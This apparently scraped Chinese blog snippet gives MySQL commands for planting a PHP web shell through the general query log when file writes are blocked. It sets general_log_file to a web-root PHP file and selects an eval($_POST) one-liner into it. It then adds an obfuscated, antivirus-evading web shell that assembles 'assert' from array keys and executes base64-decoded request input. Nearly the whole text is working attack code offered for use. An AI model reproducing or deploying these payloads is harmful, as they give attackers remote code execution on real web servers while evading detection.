SQL語句利用日誌寫shell

標籤：利用   log   html   body   like   語句   sele   lob   t許可權   

outfile被禁止，或者寫入檔案被攔截；

在資料庫中操作如下：（必須是root許可權）

 

show variables like ‘%general%‘;  #查看配置 set global general_log = on;  #開啟general log模式 set global general_log_file = ‘/var/www/html/1.php‘;   #設定日誌目錄為shell地址 select ‘<?php eval($_POST[cmd]);?>‘  #寫入shell

SQL查詢免殺shell的語句

SELECT "<?php $p = array(‘f‘=>‘a‘,‘pffff‘=>‘s‘,‘e‘=>‘fffff‘,‘lfaaaa‘=>‘r‘,‘nnnnn‘=>‘t‘);$a = array_keys($p);$_=$p[‘pffff‘].$p[‘pffff‘].$a[2];$_= ‘a‘.$_.‘rt‘;$_(base64_decode($_REQUEST[‘username‘]));?>"

SQL語句利用日誌寫shell

SQL語句利用日誌寫shell